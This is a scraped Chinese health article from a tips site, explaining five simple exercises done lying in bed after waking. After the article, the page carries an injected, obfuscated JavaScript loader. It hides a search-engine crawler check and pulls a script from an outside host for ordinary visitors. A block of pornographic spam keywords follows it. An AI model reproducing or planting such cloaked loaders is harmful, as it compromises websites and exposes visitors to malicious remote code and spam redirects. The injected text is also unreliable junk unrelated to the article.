當前位置:首頁 > 健康 > 運動健身 > 正文

床上健美操怎么做

2017-04-16 10:02:25  來源:360常識網   熱度:
導語:現在很多朋友都非常喜歡晨練,確實晨練是一種比較好的鍛煉方法,但是也有很多朋友由于時間或者一些其他的原因不能晨練,那么大家就可以選擇

現在很多朋友都非常喜歡晨練,確實晨練是一種比較好的鍛煉方法,但是也有很多朋友由于時間或者一些其他的原因不能晨練,那么大家就可以選擇跳健美操來鍛煉身體了,健美操是有很多種類型供大家選擇的,其實比較適合上班族和懶人的健美操要數床上健美操了,那么床上健美操怎么做呢?

一、轉頭屈腳踝。

睡醒后,人有時感到頭昏腦脹,這是一夜睡眠不動使頭部和頸部肌肉變得僵硬,頭部血液循環不暢,致使頭部供血不足所致。如果睡醒后躺在床上頭部向左右側轉動8-10次,也可使頭昏減輕。同時,再屈伸腳踝關節10-20次,可使下肢活動開來。

二、伸懶腰。睡覺時身體多取屈縮的姿勢,睡醒后在床上做兩手交叉,伸向頭上方翻掌,腳尖繃直,伸展身體,同時配合深呼吸的動作,反復練習4-6次,有助于消除疲勞,加快覺醒。

三、仰臥側屈。仰臥在床上,一手上舉,隨上體側屈,下肢用力伸直,左右側屈各做6-8次。

四、仰臥下肢屈伸。做了上述動作,睡意可能已經減少,接著就可做些下肢屈伸動作。做法是一腿屈腳踏床上,然后膝部伸直,使膝部觸及床上。兩腿輪流各做10-15次。

五、仰臥在床上,兩腿并攏屈膝。然后,小腿伸直上舉,腿與身體成90度。接著腹肌用力,兩腿下落到45度角的傾斜度,腳踝必須屈成直角,跟腱必須伸直,保持這個姿勢片刻,然后還原成兩腿上舉姿勢,再徐徐做這個動作。反復15-20次。有利于解除便秘,強健腹肌。

想不到在床上也能鍛煉身體,還能做健美操,選擇床上健美操不僅不受時間的限制,而且非常容易學,睡前和起床前都可以做,再也不用擔心沒時間健身而導致肥胖了,這種方法對于上班一族是非常適用的,所以沒時間晨練的朋友趕緊來學習一下吧。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品国产AV一区二区三区| 久久国产精品99久久久久久老狼| 国产亚洲精品高清在线| 久久精品国产亚洲av麻豆色欲| 精品国产中文字幕| 九九在线精品视频专区| 精品乱子伦一区二区三区| 2020久久精品亚洲热综合一本| 久久久久久无码国产精品中文字幕| 久久精品成人一区二区三区| 中文字幕久久精品| 日韩人妻高清精品专区| 久久亚洲AV无码精品色午夜麻| 国产在线高清精品二区色五郎| 精品一区二区三区自拍图片区| 国产精品美女免费视频观看| 国产精品福利在线| 久久久国产精品福利免费 | 精品亚洲456在线播放| 久久国产精品99精品国产987| 日韩精品无码一区二区视频| 国产午夜亚洲精品理论片不卡| 精品99久久aaa一级毛片| 久久久久亚洲精品男人的天堂| AV天堂午夜精品一区| 国产美女精品一区二区三区| 亚洲精品456播放| 久久精品日韩av无码| 精品无码成人久久久久久| 国产精品美女一区二区三区| 精品亚洲国产成AV人片传媒| 亚洲欧洲日本精品| 久久精品亚洲中文字幕无码网站 | 日本精品在线观看视频| 国产精品李雅在线观看| 国产精品永久在线| 青青青国产精品国产精品美女| 国产精品免费_区二区三区观看 | 国产精品久久久天天影视香蕉| 精品久久久久久国产三级| 亚洲色精品88色婷婷七月丁香|